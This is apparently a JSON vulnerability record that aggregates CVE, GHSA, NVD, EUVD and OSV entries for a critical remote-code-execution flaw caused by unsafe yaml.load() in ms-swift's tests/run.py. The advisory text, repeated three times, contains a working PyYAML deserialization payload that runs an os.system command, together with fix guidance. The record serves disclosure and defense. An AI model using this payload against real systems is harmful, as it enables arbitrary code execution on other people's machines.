{"id":"CVE-2025-50460","aliases":["EUVD-2025-23369","GHSA-fm6c-f59h-7mmg","PYSEC-2026-1683"],"status":"published","title":"MS SWIFT Remote Code Execution via unsafe PyYAML deserialization","description":"A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-10","score":0.02884,"percentile":0.86982,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":false},"cwes":["CWE-502"],"published":"2025-07-31T14:02:34Z","modified":"2026-07-07T17:57:29Z","exploits":[{"source":"pocgithub","id":"Anchor0221/CVE-2025-50460","title":"Anchor0221/CVE-2025-50460","date":"2025-07-30","url":"https://github.com/Anchor0221/CVE-2025-50460"},{"source":"pocgithub","id":"ferralon-demo/ms-swift-yaml-load-rce","title":"ferralon-demo/ms-swift-yaml-load-rce","date":"2026-10-07","url":"https://github.com/ferralon-demo/ms-swift-yaml-load-rce"}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"ms-swift","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.6.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"ms-swift","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.6.3"}]}],"versions":["1.0.0","1.1.0","1.2.0","1.2.1","1.3.0","1.4.0","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.7.0","1.7.1","1.7.2","1.7.3","2.0.0","2.0.1","2.0.2","2.0.3","2.0.3.post1","2.0.4","2.0.5","2.0.5.post1","2.1.0","2.1.1","2.1.1.post1","2.1.1.post2","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.3.0","2.3.0.post1","2.3.1","2.3.2","2.3.2.post1","2.4.0","2.4.0.post1","2.4.1","2.4.2","2.4.2.post1","2.4.2.post2","2.5.0.post1","2.5.1","2.5.1.post1","2.5.2","2.5.2.post1","2.6.0","2.6.0.post1","2.6.0.post2","2.6.1","3.0.0","3.0.1","3.0.1.post1","3.0.2","3.0.2.post1","3.0.3","3.1.0","3.1.1","3.1.1.post1","3.2.0","3.2.0.post2","3.2.1","3.2.2","3.3.0","3.3.0.post1","3.3.1","3.4.0","3.4.1","3.4.1.post1","3.5.0","3.5.1","3.5.2","3.5.3","3.6.0","3.6.1","3.6.2","3.6.3"]},{"source":"osv","ecosystem":"PyPI","package":"ms-swift","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.6.3"}]}],"versions":["1.0.0","1.1.0","1.2.0","1.2.1","1.3.0","1.4.0","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.7.0","1.7.1","1.7.2","1.7.3","2.0.0","2.0.1","2.0.2","2.0.3","2.0.3.post1","2.0.4","2.0.5","2.0.5.post1","2.1.0","2.1.1","2.1.1.post1","2.1.1.post2","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.3.0","2.3.0.post1","2.3.1","2.3.2","2.3.2.post1","2.4.0","2.4.0.post1","2.4.1","2.4.2","2.4.2.post1","2.4.2.post2","2.5.0.post1","2.5.1","2.5.1.post1","2.5.2","2.5.2.post1","2.6.0","2.6.0.post1","2.6.0.post2","2.6.1","3.0.0","3.0.1","3.0.1.post1","3.0.2","3.0.2.post1","3.0.3","3.1.0","3.1.1","3.1.1.post1","3.2.0","3.2.0.post2","3.2.1","3.2.2","3.3.0","3.3.0.post1","3.3.1","3.4.0","3.4.1","3.4.1.post1","3.5.0","3.5.1","3.5.2","3.5.3","3.6.0","3.6.1","3.6.2","3.6.3"]}],"references":[{"url":"https://github.com/modelscope/ms-swift","tags":["package"]},{"url":"https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6757-jp84-gxfx","tags":["advisory"]},{"url":"https://github.com/Anchor0221/CVE-2025-50460","tags":["exploit","web"]},{"url":"https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg","tags":["web"]},{"url":"https://github.com/modelscope/ms-swift/pull/5174","tags":["web"]},{"url":"https://github.com/modelscope/ms-swift/commit/b3418ed9b050dc079553c275c5ed14cfb2b66cf7","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50460","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fm6c-f59h-7mmg","tags":["advisory"]},{"url":"https://pypi.org/project/ms-swift","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-50460","description":"A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.","status":"published","published":"2025-08-01T00:00:00Z","modified":"2025-08-01T17:22:46.516Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:32:52.526476Z"}],"euvd":[{"id":"EUVD-2025-23369","description":"A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.","status":"published","published":"2025-08-01T00:00:00Z","modified":"2025-08-01T17:22:46Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T20:32:02.018241Z"}],"ghsa":[{"id":"GHSA-fm6c-f59h-7mmg","title":"MS SWIFT Remote Code Execution via unsafe PyYAML deserialization","description":"## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML \u003c= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding='utf-8') as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('mkdir HACKED')\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (\u003c= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*","status":"published","published":"2025-07-31T14:02:34Z","modified":"2025-08-01T18:35:44Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:38:52.85141Z"}],"nvd":[{"id":"CVE-2025-50460","description":"A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.","status":"published","published":"2025-08-01T16:15:41.6Z","modified":"2026-06-17T09:35:04.847Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:11:21.71471Z"}],"osv":[{"id":"GHSA-fm6c-f59h-7mmg","title":"MS SWIFT Remote Code Execution via unsafe PyYAML deserialization","description":"## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML \u003c= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding='utf-8') as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('mkdir HACKED')\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (\u003c= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*","status":"published","published":"2025-07-31T14:02:34Z","modified":"2026-07-07T17:57:29.10367962Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:46.760785Z"},{"id":"PYSEC-2026-1683","title":"MS SWIFT Remote Code Execution via unsafe PyYAML deserialization","description":"## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML \u003c= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding='utf-8') as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('mkdir HACKED')\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (\u003c= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*","status":"published","published":"2026-07-07T16:02:59.265625Z","modified":"2026-07-07T17:47:17.74269931Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}